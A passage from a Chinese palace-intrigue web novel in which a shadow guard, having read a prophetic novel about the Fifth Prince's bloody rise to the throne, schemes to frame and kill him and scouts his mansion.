谁叫他五皇子才是那个对战边疆部族,连战连胜的威猛将军呢? 谁能x不高看他两眼? 此时万事俱备,五皇子也是不客气地将这件毒物伪造成稀世珍宝献给了皇帝,皇帝对白日里就能发光的宝物也是啧啧称奇,爱不释手。 毒已送到,栽赃的线索怎么能少? 这边五皇子对着陛下献殷勤,那头备受打压的四皇子怎甘示弱? 他当然也是,绞尽脑汁地搜罗了不少珍宝献给了陛下,也就给了五皇子栽赃陷害的机会。 皇帝那本就不堪一击的身体病的比他想的还快,惜命的皇帝自然很快就发现了身体的异常,马上就联想到了下毒一事上。 也是如五皇子所期望的那般,皇帝通过蛛丝马迹查到了四皇子的身上,盛怒之下,恨不得直接砍了自己这个儿子。 可偏偏他又怜惜自己的名声,哪怕非常生气,最终也是只以治理河道不利的罪名将四皇子幽禁在府上。 对这个结果,五皇子很不满意。 他原计划是将他们两个一并干掉自己作为唯一一个成年的皇子,顺理成章即位的。 不过见到皇帝到了这个时候,还没痛下杀手,五皇子也觉得有些不安。 总不能因为他这个爹,压根就没考虑过他,而其他皇子还没长成,他一时之间不想下手,去杀了四皇子吧? 五皇子左寻思右寻思,觉得不能让事情脱离他的掌控,他决定伸手帮自己亲爹一把。 左右一个兄弟杀了也是杀了,一个兄弟害了也是害了,也不在乎多杀那两个。 说干就干,领兵多年的五皇子手底下当然不缺武力高强的杀手,杀两个没成年的小娃娃比杀鸡也费不了多少力。 费的那些力还得是他们避开京中的耳目。 于是很快地,子嗣繁荣的皇帝就只剩下了幽禁的四皇子和混血的五皇子两个儿子。 可以说是他在一个月之间失去了三个儿子。 皇帝也不是个傻的,行凶者的范围就那么两个,他能猜不到吗? 四皇子的愚蠢让他心惊,五皇子的狠戾让他胆寒。 他忍无可忍,决定亲手解决这个祸患,连鸩杀五皇子的圣旨都已经备好,只待太监带着圣旨和毒酒出宫,便能解决这个心狠手辣的儿子。 可处处站在上风的五皇子,怎么可能在宫中没有耳目? 他见事情不妙也知道了,到了决一死战的时刻,没有任何犹豫地,就让他滞留在京中的人马攻打京城。 如果不能顺位继承,武力继承也没什么不好,还能威慑一番那些张口闭口都是祖宗规矩的酸儒。 他战得果断,当了多年的皇帝也不是吃素的。 仓促应战之下眼见着他的人马和京中的守卫军僵持不下,若是再拖下去鹿死谁手尚未可知。 于是五皇子便果断地逃离了京都,带着剩余的人马直奔他扎根多年的边疆而去。 那里有着他忠实的簇拥,忠心于他的兵马,囤积而来的武器和粮草。 他必能卷土重来! 这一路对五皇子来说是一场逃亡之路,起点在京都,终点在边疆,沿路上遇到的所有人都可能是来要他性命的人。 他当然也倍感压力。 他总共就从边疆带过来那么点人手,中间在王爷身上折损了不少,又折损了几个去刺杀那几个小皇子,最后逼宫的一战和京城守卫军正面对决,又死了不少。 人数上当然比不过数量众多的京都守卫军和那些层出不穷来围截他的地方守卫。 这就已经逼得他不得不走人迹罕至的小路,甚至中间也曾化整为零,藏匿在山林中绕道而行。 这就是一大劣势,而且还不单单仅是如此。 人食五谷杂粮,这么多人在路上又要走那么远的路,所需的粮草也不是个小数目。 可偏偏五皇子他们是败走京都,哪里有那么多补给可以供他们填充? 最终也只能走到哪里吃到哪里。 他们也没有那么多富余的时间,在山林里打猎供养自己,留给他们的选择几乎没有。 五皇子为人也果断,为了保存自己的实力,他毫不犹豫地就指挥着手下去抢掠村庄的粮仓,连个户中的米缸都没有放过。 没办法,他现在的实力打劫大的州府肯定是不行的,也唯有这些散落的村户动起手来不会损伤自身。 缺点大概就是有人报官的话,会让官府更快地掌握他们的踪迹。 不过也仅仅只有一次。 因为第二次五皇子已经能毫不犹豫地狠下心,直接下令除掉所有活口。 没了活口,怎么可能还会有告密的人呢? 这一路逃亡下来五皇子也风尘仆仆,略显狼狈,不过好在性命无虞,他连严重的伤都没受一个。 这场逃亡的路持续了半个月,直到五皇子的马蹄踏入边疆的那一刻才终止。 至此龙归于野,天下大乱。 五皇子回到了自己拿捏在手心里的势力范围,第一件事当然就是稳定军心,然后制定一场南下抢夺皇位的攻略。 五皇子这人也确实像是有天运在身,他逃亡的这段时间京中也发生了翻天覆地的变化。 当今陛下性命垂危,已经活不了几天了,连丧仪都已经开始准备。 五皇子听了这消息,若不是伪装成孝子的执念在支撑着他板着脸像模像样的红了眼眶,他都要仰天大笑出声了。 这可太妙了! 哪怕是天下人都知道皇帝此时突然重病,极有可能是被他这个打算谋反的儿子气的也不要紧。 嘴长在五皇子身上,他想说什么就说什么。 比如现在这种情况,他就要告知天下人,京中奸佞当道,臣不是臣,子亦非子,以子杀父,天理难容,孝子被污,远走他乡,今天命垂怜,他五皇子命不该绝,便当承接天命发兵讨伐不孝之徒,以安陛下在天之灵! 五皇子洋洋洒洒地写了这样一封檄文,写的那叫一个真情实感,激动的眼泪控制都控制不住。 他就要以这样一个目的师出有名,至于真相如何,若是他赢了,自然由他分说。 若是他没赢,瞧不见的事又有什么可值得担心的? 他心情舒畅地将这东西写完了,感觉被围追堵截这一个月憋在心中的郁气都消散了大半。 他把这东西交给手底下的人,只待什么时候龙驭殡天,这东西什么时候大白于天下。 至于现在,他需要厉兵秣马,清点粮草。 那些外族不是说要臣服于他吗? 现在正到了他们表现的时候了。 他可正缺一些马前卒。 五皇子的造反大业稳步开展,多年领兵征战这对他来说没什么难的,手下精兵悍将那么多,拟定出个作战方案来也没什么难的。 难的是钱。 他这做的可是造反的买卖,没有重金赏下去,怎么能稳固军心? 就在五皇子为军费发愁的时候,底下的军官们训练士兵使用火器,好死不死地不小心炸塌了一片山林,不幸丧生了不少人。 可幸运的是,那重重的山石之下埋的是白花花的白银。 什么叫瞌睡来了送枕头? 这就是。 天降横财,鼓舞了军心,所有人觉得五皇子天命所归,他们这一行也必当顺风顺水,从龙之功唾手可得,干劲也非比寻常。 五皇子的这一支军队,不光作战经验丰富、装备精良、素质极高,再加上战意正盛,南下的一路可以说是势如破竹。 十日之内连下三城,节度使负隅顽抗不成弃城而走。 又四十日,北省进入五皇子彀中。 此时五皇子的兵马已经兵分三路直指京城重地。 而京城那些不知道多少年都不曾见过雪的士兵奋力抵抗节节败退,最终只能固守城池,形势岌岌可危。 偏偏就在这种最需要振奋人心的时候,临危受命登临帝位的四皇子又被京中那些影射他谋害先帝的流言气的生了病。 一时之间竟连个能签发军令的都没有了。 双方此消彼长之下,决战的来临也在意料之中。 五皇子亲自率兵打算攻打下京都,于是分散的军队一边齐头向京都并进,一边渐渐汇合成一处,最终,五皇子的七十万大军就那么集结在邢川平原,和朝廷的兵马遥遥相望。 那一眼望不到头的军队,给了守卫军极大的心理压力,连战连捷的五皇子也差不多成了他们心中的梦魇。 若不是自己是正义之师的心理信念支撑着他们,只怕此时早已溃不成军,开城门献降了。 这王朝终究还是有人有骨气的,那些人绝不能容忍一个混有外族血脉,又勾结了外族的皇子成为这国家的主人。 最准确的说是当五皇子的军队和外族一并攻打自己人时、当那些外族烧杀抢掠自己人而五皇子不加以阻止时,哪怕他真的凭借武力占领了整个x京都,这些人也绝对不会为他所用的。 也许是心中已经做好了殉城而死的准备,这些兵将竟然也和五皇子打得有来有回。 只是悲壮了些,伤亡多了些。 破釜沉舟确实是提高胜率的一大杀器,这支在五皇子眼中不值一提的军队,竟然将他逼得后退,生生地逼出了邢川平原,一直退到天涯关才站住了脚。 五皇子当然是生气的,但他也压住了脾气开始冷静地思考这种情况。 然后他悟了。 他怎么就那么想不开,非要将三股大军汇合成一处,然后自己亲自去攻打下那一扇宫门呢? 他好吃好喝地养着那么多士兵,不就是为了让他们在此时卖命的吗? 若不是他想不开合军,此时三个方向一起进攻,逼得守卫军不得不也兵分成三路,士气上首先就先折了一截,人手装备又比不上他,哪里会像现在这样,竟然还败走了? 而且到时候说不定根本就用不着短兵相接地打仗,他完全可以直接将京城围起来,饿也饿死他们了。 五皇子险些被之前那个被胜利冲昏头脑的自己给气笑了。 不过亡羊补牢为时未晚,就算此时小败一场,他军队的人数还是远远胜过守卫军的。 于是五皇子果断又分出两军来绕路袭击京城后方。 这一次,京中气数已尽。 负隅顽抗了十日之后,到底还是叫五皇子攻破了城门,大军策马长驱直入,所过之处遍地焦土。 而那位才当了不久皇帝的四皇子,也被五皇子以毒杀亲父为名关了起来,没过多久便一命呜呼了。 自此之后五皇子登基称帝,宗亲官员皆不服,也都下去陪了那位不幸丧命的先帝。 从此,五皇子独揽大权,外族俯首称臣,王朝完成了自北至南的统一,是一个前所未有的外族与本族共治的皇朝。 杨妃额角抽抽地看着故事的末尾,史官称赞五皇子为千古一帝,一时间竟然都快不认识这几个字了。 苍天无眼啊! 勾结外族的人竟然也能登上皇位了! 而他家王爷竟然就那样命丧洪水之中—— 苍天无眼! 不过那小说里他死于树林中的一场埋伏,而他本人也好好地站在这里。 也就是说…… 打那之后他们原本的命运已经发生了改变,对吧?《 》 80-90 第81章 杨妃觉得自己的脑子现在还不够清醒,对那本小说里的内容和现实发生的事件抱有一丝怀疑。 说实话,如果不是那本小说里的内容,很多事情已经在现实中发生过了,他压根就不会把那种荒诞的文学创作当真。 哈哈哈! 谁家好皇帝是个串儿。 谁家皇帝勾结外族屠戮百姓还能做千古一帝啊? 除了小说里是不会发生的对吧? 杨妃的眼中迅速闪过一丝期颐,他也有想逃避现实的时候,可过了一会,他就又摇了摇头。 就连心声那种完全匪夷所思,不在厂里的东西都能真实存在,不过是个败类当皇帝罢了,对比起来那种玄幻的事情好像也不是不可能发生。 杨妃眨了眨眼睛,不知道小说里的大臣和宗亲们天天都在想些什么,说好的文人有文人的风骨呢? 他们那种宁可死谏也要青史留名的决绝呢! 怎么被杀了两个人之后连个屁都不敢放了,什么也都忍得下了。 杨妃百思不得其解,想不通其他人在面对那种情况时想些什么,他倒是想起了在那个故事里自己的下场。 说实话,他是有些不满意的,因为他的死不仅没有给王爷创造价值,甚至还能算得上压倒王爷的一根稻草。 一定是故事里的他疏于训练。 杨妃思索了一下,猛然惊觉这种武力值的差别也不是无迹可寻。 故事里的他在王爷身边的地位稳固,平日里也多是帮王爷忙前忙后,而他则听到了王爷意图对他不轨的心声,迫于清白有可能丢失,比故事里的自己更渴望通过能力在王爷面前立足。 以至于他在练武时自然比故事里的自己更加努力。 而战斗这种东西通常只在瞬息间便能决出生死,一点练功上的差距就导致了在同一事件中,他们结局的天差地别。 他身受重伤虽然消耗了王爷不少珍藏的好药,但活了下来。 故事里的他被围攻而战死。 合理。 太合理了。 杨妃后知后觉地流出几滴冷汗,心声纵然给他造成了很多不便,可就这结局,这一点改变就已经能弥补一切。 时也命也。 就差这么一点。 故事里的他被围攻而战死,虽说水平差了些,可也算是应了他们这种影卫的命,死就死了吧,也没什么的。 只是…… 杨妃的眼睫颤了颤,眼角有些湿润。 只是没想到就连小说中的王爷也会因为他的死而大动肝火,不仅自己心力憔悴,还舍得不计一切代价也要给他报仇。 这个待遇……只怕王爷的亲爹被人害死,王爷都没这么激动。 杨妃心情复杂。 这样看来不仅是现在的王爷,就连故事里的王爷心里也是有他的…… 或许也喜欢他吧。 杨妃不太确定地想。 难道喜欢上他也是什么天命吗? 真王爷、假王爷、失忆了的王爷,一个个他算是都栽在他身上了是吧? 他嘴角抽搐了好几下,一时间不知道自己在天命中到底是拿的什么剧本。 花蝴蝶吗? 不过这些都不重要,什么爱不爱的都往后排,他和王爷在书里面的下场才是最重要的。 他们一定可以改变命运的! 他家王爷那样的人物,怎么可能死得那般的草率? 他希望王爷能顺利继承大位,就算不能,也应当是悲壮地死去,而不是那样潦草毫无意义。 老天爷总不能一直瞎眼瞎到底吧? 杨妃攥紧了拳,重重地一拳砸在桌子上,对五皇子的恨意和杀意达到了顶峰。 从前他只觉得五皇子仗着有皇帝的宠爱傲慢了些,平常颇爱找其他皇子的麻烦,但大多也都是口头上的争斗,总体来说倒也算得上兄友弟恭。 如今仔细地了解了一番五皇子的人生,杨妃就觉得那五皇子实则畜生不如。 诚然,天底下能当皇帝的人有一个算一个,都不是清清白白的君子,或多或少地也都做过些心狠手辣的事。 从古至今不是顺位继承的皇帝有的是,杀父杀兄篡位的一个巴掌都数不过来。 做皇帝可以不择手段,绝不能毫无底线! 他五皇子在那些以凶狠手辣著称的皇帝里也排得上是头一号畜生了。 首先一件前无古人后无来者的事就是他五皇子夺取大位的方式竟然是勾结外族,连同外族一起侵略本土。 而且还纵容外族在自己种族的土地上烧杀抢掠,视诸多暴行如无物,甚至还加强外族勇武。 可谓是吃里扒外第一名。 杨妃不理解。 在他看来五皇子勾结外族的行为纯属是他本人坏透了。 就算他想从边疆打回来,也没有必要勾结外族的军队吧? 他便将那么多大军有粮有钱,又作战经验丰富,就算仅靠自己人一路打过来也不是没有胜算,为什么偏偏要纵容外族? 杨妃想不通。 他左思右想,最终大胆猜测。 五皇子会不会是因为自己身上那一半的外族血脉根本就不把自己当本族人? 如此想着杨妃倒吸一口冷气,认为自己猜的应当八九不离十了。 如果真是这样的话,他能毫不犹豫地炸毁堤坝,水淹千里致使无数人丧命民不聊生,而他本人对此没有一点愧疚不忍好像也有了解释。 因为他压根就不把那些人当人啊! 除此之外五皇子那些离谱的、所谓的统一外族的奇怪政策也都有了解释,尤其是他那些和外族通婚免三年赋税的异常大方的政令。 杨妃眼前一黑一黑又一黑。 若是按书里那些番外所说,五皇子登临皇位之后颁布了一系列的政策,促进了民族融合,使得人与人之间再无外族之分,岂不是将所有人都变成了像五皇子那样的串儿? 所以说他就是觉得自己和所有人都不一样是吧? 所以他就干脆想让所有人都变成和他一样不受人待见的混血是吧? 这样的人怎么配做最后的赢家? 他真的忍不了一点! 要不干脆现在趁许多事情都没有发生,他直接悄悄地冲到五皇子府上暗杀了五皇子算了。 此计若成,他就算身死也功德无量,说不准身上的所有罪孽都洗得一干二净,保不齐还能上西天极乐了呢。 尼玛,杀他一个功德无量啊。 杨妃呆呆地坐着开始思考人生。 现在四皇子在他眼里都不是王爷的主要威胁了,反倒是怎样劝说王爷解决五皇子才x是当务之急。 杨妃脑子转的飞快,将书里那些和现实发生不一样的地方列出来,然后猛然惊觉其实他无意中也算是已经改变了事情的走向。 故事里的他死于围攻之中,而他的死导致王爷方寸大乱,给五皇子造成了不少麻烦,王爷的状态也因为他的死而不佳,最终没有从水患中活下来,就此再也没有了戏份。 而现在,他还活的好好的,王爷也活的好好的。 这是一件好事。 可由于他活着,王爷也活着,所以这次他们没有在不知情的情况下,对五皇子的人穷追猛打。 也就导致现在五皇子能掌控的人手是比故事里的五皇子还要多的。 再进一步想,若是五皇子,此时想像小说里那样,攻打京城武力夺取皇位,可能比小说中还要再多两分胜算。 这就很不妙了。 杨妃的眉头拧得死死的。 被削弱了武力之后的五皇子攻打京城一战就已经能做到和守卫军久久僵持不下,最后还是他为了保全力量,主动退出,远走边境。 如今…… 这却危险了。 这要是直接让五皇子一鼓作气攻打下来,京城那不直接完球了吗! 不行! 一定要想办法削弱五皇子的人口! 杨妃的脑子有些混乱,他思考着五皇子的行动轨迹,琢磨着怎么做能让所有的悲剧扼杀在摇篮之中,也想找到时机削弱五皇子的势力,甚至直接让他葬身于京都,也好省了之后千里追击的麻烦。 更省了那一场自南向北的血腥战争,不知道能挽救多少人的性命。 五皇子的登基之路,埋的满满都是百姓的血骨。 杨妃想的挺好,但是在京都之中想杀死五皇子确实不容易,想来想去竟然只有下毒这一招有可行之处。 剩下若是想杀死五皇子,以杨妃有限的智商来看,也只有围攻京城的一场大战中有机会浑水摸鱼下手了。 若是那时动手的话好像也不是不行。 战场上刀枪无眼,他们影卫又是极其擅长刺杀的,若是那时动手,本就占了战争的便利,而且杀死五皇子也是正义之举,哪怕他们暴露了王爷手下的身份,那也叫替朝廷清除逆贼,根本无损于王爷名声。 杨妃觉得这样挺好,唯一的缺点可能就是对京城守卫军来说多了场会丧命的战争。 可对王爷来说好处却不少。 五皇子若是那时死了,就已经为王爷除掉了皇帝和那几个未成年的皇子,尽管杨妃不觉得那几个小皇子还有机会…… 哎。 他叹了口气。 看来今年这京城中注定是要添上一些人命了。 杨妃抿着唇,王爷目前的计划能让四皇子翻不了身,让陛下怀疑五皇子。 他觉得还不够。 按书里所说此时的陛下早就怀疑五皇子了,多一点怀疑也还没到陛下直接动手的程度。 等外族的使团进京,在边境战斗的威胁下,五皇子一定就死灰复燃了,到时候陛下就算下令要杀五皇子也多有顾忌。 等等。 外族使团! 杨妃忽地睁大了眼睛,伸手猛地拍了一下自己额头,俺骂了一句自己脑子笨,怎么将这事给忘了? 前头骂了那么多句,五皇子勾结外族非人子之所为,怎么就没想到呢? 他何不直接揭发五皇子勾结外族? 这是他现在能顺理成章做的啊! 别的手段他不太好和王爷解释为什么自己能未卜先知,但在已知五皇子和外族有勾连的情况下,暗中盯着五皇子和外族的关系,那本就是影卫应该做的,也是他们擅长做的。 知道答案找问题,再抓不住五皇子和外族勾结的证据,他干脆回炉重造得了。 到时候铁证在手,五皇子必被群起而攻之。 只要下手下的快,他就没有机会攻打京城,返回边疆。 就算没有实证也没关系。 杨妃眼中闪过一丝冷光。 伪造证据对他们来说很难吗? 那些外族使团一来,拿些信物、伪造证件,易如反掌。 想到了解决办法,杨妃的心脏怦怦直跳,恨不得现在就杀到王爷屋里将计划讲给王爷听。 冷静。 他对自己说。 别太激动了露了破绽,直接让人家当妖怪烧死。 计划要一点一点实现,就先从结识五皇子的信件开始。 使团即将到达京都,他不信五皇子不和外族交流,他要去亲自盯着。 可恶,想杀五皇子的心愈演愈烈了怎么办? 要不要再去剥削一番那妖怪,看看他知不知道什么能用于暗杀的新玩意儿? 第82章 杨妃理清了自己的计划,头脑也重新恢复了他应有的冷静。 在盯着五皇子伪造证据曝光他勾结外族之前,他先去了关着妖怪的地牢。 作为一个经常游走在生死边缘的影卫,他太清楚,人只要活着就能有无限可能,唯有死了才叫人心安。 那本小说在杨妃的心里终究还是留下了些心理阴影,他觉得五皇子既然在小说中是总能逢凶化吉的天命之子,保不齐在现实生活中他也有着类似的光环。 万一狗皇帝一个犹豫,想展示一下自己对儿子的宽宏大度没,直接把他弄死,而是把他像四皇子那样的监禁起来,说不准他就能逮到机会东山再起了。 就算是傻了瘫了疯了,杨妃也不放心,天下之大无奇不有,万一就有哪个神医能治五皇子身上的病呢? 还是死了干净一了百了,无论是他和王爷都能睡个好觉。 从那妖怪嘴里撬东西的任务,杨妃走之后影卫们很是自然的接了过去,等他从骤然获取的巨大信息量中缓过来重新回到地牢,整个地牢热闹得很。 甚至有着一丝丝诡异。 被他扇蒙了的妖怪,这会儿已经醒了,正在昏暗的地牢中奋笔疾书,甚至还指挥着他的同僚们又搬来几根蜡烛照亮。 杨妃:??? 这什么情况? 打开门的杨妃默默后退了一步,将门关上,又重新将门打开,看着里面的情况眨了眨眼睛,眼中又闪过一丝茫然。 这世界上他不能理解的事还是太多了,谁能来告诉他,这到底是怎么一回事? 此时的地牢和从前的潦草完全不同,挂在墙上的刑具和放在地上的工具全被扫到了一边,取而代之的则是一块大大的地毯和一张书案,旁边还放了几个大箱子,更有厚厚的宣纸堆在一旁。 而妖怪则跪坐在蒲团上,趴在桌案上奋笔疾书。 等杨妃又一次推开门的时候,那妖怪还颇为嫌弃地甩了甩手中的毛笔,被自己飞溅出来的墨汁吓了一跳,嚷嚷着能不能给他寻一个炭笔。 影卫们围着书案站了一圈,默默地看着妖怪写写画画,还有一个人很是离谱地在给妖怪磨墨。 还有递纸的。 以杨妃对他们的了解,哪怕这几个影卫现在看上去面无表情的,但他敢对天发誓,这些人眼睛中的惊诧佩服都要溢出来了。 不单单影卫们的表情异常,那妖怪也不对劲。 原本他恐惧害怕,战战兢兢到脸色发白,可就他离开这么一会儿,这妖怪脸色虽是白的,但却很有心气,那双眼睛明亮异常,整个人周身弥漫着一种积极的氛围。 甚至好像还有点开心? 杨妃:…… 杨妃:??? 不是? 这是王府的地牢,对吧? 这地方从来只能听得见别人的惨叫,只能闻得到血腥味,什么时候这么有书卷气了? 这也就罢了,他稍微一想便也能猜得到,毕竟是他让影卫们审问,这妖怪从他嘴里掏东西的,再联想到妖怪之前上交上去的图纸,现在需要写写画画也没什么不对劲的。 影卫们很震惊对他来说倒也是件好事,那就说明这妖怪写出的东西惊世骇俗,说不定远超现在的武器装备。 但是这妖怪为什么开心起来了? 他还有没有自己身为阶下囚的觉悟? 之前不还是一副眼瞅着要死了的惨样吗? 这怎么突然就高兴起来了? 疯了? 杨妃悄悄地走近,看那妖怪一种异常亢奋的姿态,迅速写满了又一张宣纸。 很好,是他想要的武器装备。 但是这东西…… 杨妃沉默地看着那好像有钢管组成的类似弩箭的玩意儿,实在不知道这玩意儿叫什么。 不过若是能有他写在图纸边缘的那些文字叙述上描述的威力,这东西属实是件军国利器,他也很感兴趣,也不算枉费他将这个人偷出来所消耗的力气。 杨妃是很乐见其成的。 只是…… 他悄悄地瞟了一眼奋笔疾书压根就没有注意到有人站在他身后的妖怪,疑心他如此配合是不是暗中有鬼。 “呼——” 又写完了一张纸的妖怪兴奋地将纸放到旁边影卫的手里x长出了一口气,这才发现自己的身上多了一道人形阴影。 “啊!” 他扭过头看着杨妃,发出一声短促的尖叫,很快就长教训的捂住了自己的嘴,哆嗦着往后挪了挪,紧紧靠在书案上,表情甚至比见了鬼还夸张。 杨妃审视着他,对他如此安静还有点不适应。 杨妃:“……” 杨妃:??? 这不对啊? 他那无比呱噪的心声呢!他在永远和神奇说不完的心里话呢!他怎么听不见了? 杨妃微微睁大了眼睛,眼睛眨也不眨地盯在妖怪的身上,充满了探究。 而妖怪也不负他所望,震惊到眼睛都要脱出框来,还移走了目光不敢和他对视。 杨妃:??? 这…… 他略一思索,一种不妙又诡异的感觉涌上心头。 那一巴掌过后他得到了世界的剧本就离开了这里,根本没有注意到妖怪的心声。 而现在他回来也再也听不到了…… 这妖怪的表现倒很像是……能听到他心声的样子啊! 果不其然,杨妃心中落下了这样一句话,那妖怪嗖的一下转头又看向杨妃,然后做贼心虚的低下头挪过了身体假装还要伏案写画。 呵。 果然。 瞧见了这妖怪的动作杨妃还有什么不知道的? 所以说这家伙突然不再害怕,兴奋了起来,怕不是也是发现了自己能听见别人的心声了吧。 不过既然他能听见自己的心声,那就不便和他见面了。 “看好他,他要是乖乖地配合,就好吃好喝的供着,王府里还不差这一张嘴。”杨妃没有和妖怪纠结新不心声的话题,看向旁边的警卫吩咐道,“若是他不肯配合……” 妖怪随着杨妃的视线转到旁边堆着的那些看上去不知道用了多少回的刑具上,小鸡啄米似的点头,抢答道,“我最乖了!!!” 杨妃哼笑了一声没去理会,转身就离开了地牢。 他有的是事情要做,没道理将时间浪费在已经被他掌控在掌心的人手中,尤其是这个人目前还算配合。 等杨妃远离了地牢,已经远远超过了他曾经能听到心声的距离,这才悄摸摸地叫了朱柿来。 “有一件事需要交给你办。”杨妃冷静地将榨干妖怪后再杀死妖怪的任务交给朱柿,“在最终杀死他之前不要往它跟前凑,最少也要保持我现在和地牢之间的距离。” 朱柿一脸迷茫,杨妃也不和他解释,只道,“照我说的去做就行了。” 他不确定妖怪像他一样只能听到王爷和妖怪的心声,还是那妖怪能听到所有人的心声,但谨慎一点总没错。 没错。 杨妃也就嘴上和那些影卫说说要好好照顾他,实际上当他意识到那妖怪能听到别人的心声的一瞬间,他就已经暗藏了杀意。 这王府上有太多的秘密,怎么能容忍一个人知道这么多? 之所以在地牢没有发作也不过是怕自己的心声被妖怪听到,得不到想要的东西罢了。 杨妃十分潇洒地将这个在朱柿看起来摸不着头脑的任务交给他,自己则紧赶慢赶的去寻找浅云。 下毒陷害五皇子的工作也需要推进,去找浅云弄一个看上去病症严重实际上很好恢复的毒药来。 他要亲自把关。 杨妃面色沉沉,思索着什么样的毒药能瞒过宫中那些老太医的眼睛,脑子里却刷刷刷地闪过了不少影卫文虐恋情节。 什么为主子试毒试药主子却不知道,等死了之后才被惊觉,又悔恨又悔恨又痛哭的…… 杨妃打了个寒颤,有点反胃。 他可不能像那些傻子一样不理智,可不能自己来试药,这要是万一倒霉,直接吃死了,他还怎么留着这条命为主子卖命? 而且…… 一想到那本书写着他们命运的世界里在他死之后王爷是怎样疯魔的,杨妃就觉得心痛。 他家王爷可万万不能步了那个王爷的后尘。 杨妃叹了口气,自打知道事情发展之后他心中就有一股抹不去的忧愁,哪怕明知道他和王爷的命运已经与从前不同,也不能让他恢复以往的状态了。 王爷啊…… 他遥遥地朝王爷的住所看了一眼,心情难以言喻。 他那个能听见别人的心声的能力现在已经到了那妖怪身上,所以说他现在再也听不见王爷那些让他苦恼的心声了,对吧? 理论上来讲,能不再受王爷那些新生的磋磨,这对杨妃来说本是一件好事,可那些心声也仅仅是他听不到了而已。 现在也不过是掩耳盗铃。 怀揣着这些只能由他一个人知道的心事,杨妃在王府的宅院里像幽灵一样飘到了浅云的房门,像鬼一般地站在他身后,伸手拍了拍肩膀,换来了浅云转过身直奔面门的一拳,顺理成章地开始了一场激情的搏斗活动。 一场热血沸腾、酣畅淋漓的战斗,纾解了杨妃心中的郁气,他那些杂七杂八的混乱想法消失得一干二净,取而代之的则是打倒兄弟,推翻父亲拥立王爷的伟大志向。 杨妃从浅云身上爬起来,拍了拍掌心的灰尘,将王爷的大事交给他,然后就在他一脸莫名其妙以及你有病吧的表情里翩然而去。 笑死。 谁会管接到任务的人在想什么啊? 反正他不管,他要去探一探五皇子的虚实,去看看他府上的方位怎么样,最好能弄个地图出来,方便他以后进去栽赃陷害的。 第83章 可能是五皇子此人在边境和军队一起生活了太久,哪怕他的王府和王爷的王府是同一批建造的,用料、规格、形制都差不多,杨妃看上去也觉得有些不同。 是大大的不同。 这种不同无关于建筑本身的形状,更多是一种感觉。 五皇子的王府给杨妃一种肃杀的感觉。 他远远的看着那座王府,不太敢靠近,但哪怕是他站的这么远了,还能感受到守卫着王府的守卫身上散发着一种战场上的血腥味儿,连看门的门房都比他家王爷府上的健壮,身上的肌肉都快把他们那素白的粗布衣裳撑破了。 还有那些围着王府巡逻和站岗的侍卫。 不是杨妃有多爱夸自己的敌人,而是他们每一个看上去都像是背了好几条人命的壮汉。 没见五皇子府周围的街道静悄悄的,不像他家王爷王府周围还有卖货郎,热闹的很。 估计都叫五皇子新换的护卫给吓跑了。 杨妃无比肯定五皇子换了人,因为哪怕他没有多仔细查过五皇子府,可路过这条街也不是一回两回了,眼熟的护卫还是有的,不像现在这样,全都是生面孔。 不过有一说一,这种水平的护院看上去是养眼,还真叫人羡慕。 可惜他家王爷没有五皇子这种能用战场练兵的有利条件,要是单纯用王府来训练这样的侍卫实在奢侈。 他叫王爷光养他们就已经很努力了。 杨妃一边默默关注着五皇子府上的人员进出,一边思索着王府的支出还能不能省一点出来,抽空也训练训练他们王府的护卫和门房。 同是皇子,他家王爷方方面面都不能被五皇子比下去! 别人有的,他家王爷也要有,而且还要是最好的! 杨妃那颗执着包装王爷的心蠢蠢欲动,恨不得直接抢了五皇子的人给王爷,唯有王爷当前面临的险境能让他冷静下来。 他趴在远处树影的缝隙中一动不动,冷风吹过他的发丝,目光定定地盯着五皇子府。 五皇子府上这会儿没有什么人员来往,他看了半天也只看见几个婢女提着篮子从角门离开,连个管事模样的仆人都没瞧见,显得五皇子府多少有些冷清。 他看了半晌,悄悄地向五皇子府挪近了一点,他还是很想寻个机会翻进去好好探查一番的,不过这事也不能急。 五皇子府上可不是大理寺卿府,防卫水平那叫一个天差地别,而且五皇子身边也有他的同僚,指不定还是一个师傅教出来的,对彼此探查的手段都有一定了解。 杨妃已经将这件任务列成需要分日完成的了,今天能探出五皇子府上的守卫规律就算收获颇丰。 他探出一丝内力靠近五皇子府,又马上收了回来,敛息将自己藏的更严实了些,又等了一会儿,还换了个地方。 冷静快速地做完了这一套动作,杨妃才舒出一口气,擦了擦额角流下来的冷汗。 他总说自己谨慎,也觉得已经用最慎重的姿态去看待五皇子府了,没想到还是将他看轻了。 谁能想到五皇子府上看门的门房可不单单是练武的武夫,竟然还会内家功夫! 那健壮的门房x竟然也有内力! 要不是他一直提着心,方才反应也快,这会儿就被人家发现了! 杨妃很震惊。 自古穷文富武,练舞的花销从来都不是小数目,能练成一身豪横的肌肉就已经算个中高手了,若是再要练成内力,那更是少有。 结果五皇子连看门的都有这样的水平。 这家伙到底带了多少人进京? 他总不能把王府的护卫、小厮杂役什么的全都变成了身具内家功夫又身经百战的士兵吧? 他这是在进京之前就已经做好了以一当百武力夺取皇宫的准备了吗? 这也太超前了吧? 不妙。 杨妃拧着眉思索,那次五皇子返京的时候,他没有仔细数过五皇子到底带了多少人回来,只记得那一行人马的长度,少说也得有二三百号人。 这些人还是光明正大进京,在陛下面前能挂的上号的。 可现在距离那时候也过去两个月了,中间王爷又离京治水,又经历水患,留守在京都的影卫重点也不是盯着五皇子,在王爷出事之后也都陆续离京寻找王爷,剩下的那些看家的自然没有多余的精力去盯着五皇子。 这样长的空档,天知道五皇子没有偷偷地待人进京藏在府上。 杨妃没有证据,但他觉得以目前五皇子府这个架势,他敢拿项上人头作保,五皇子此刻的人手绝对不止他当时带进京的那么一点。 说不定多余的人手压根儿就没有,藏在王府上,而是化整为零地抽出藏在京城内,伪装一下农夫商贩乞丐什么的,只等着五皇子一声令下便揭竿而起响应号召,拿着藏匿的武器就攻打皇城。 杨妃越想越觉得头疼。 这些人一旦以这些身份藏起来,只要他们不主动找事情,想找他们也绝非易事。 一时半刻间更难以确定。 必须得想个办法把五皇子的人都揪出来,这可是个天大的隐患。 他本来就丑五皇子的人,战争素质比皇城守卫军强,现在又有不少人伪装着藏进了京中,若是真到了逼宫的时候,五皇子的人里应外合打开城门,让他藏在城外的军队长驱直入。 恐怕都用不了那本小说中说的那么多人他就能拿下整个京都。 这些人和架在他们脖子上的剑有什么区别? 乔装打扮成普通民众的杨妃,围着王府慢慢地转悠了一圈,如意比他想的来得还要快。 他何必将所有的事情都揽在自己身上呢? 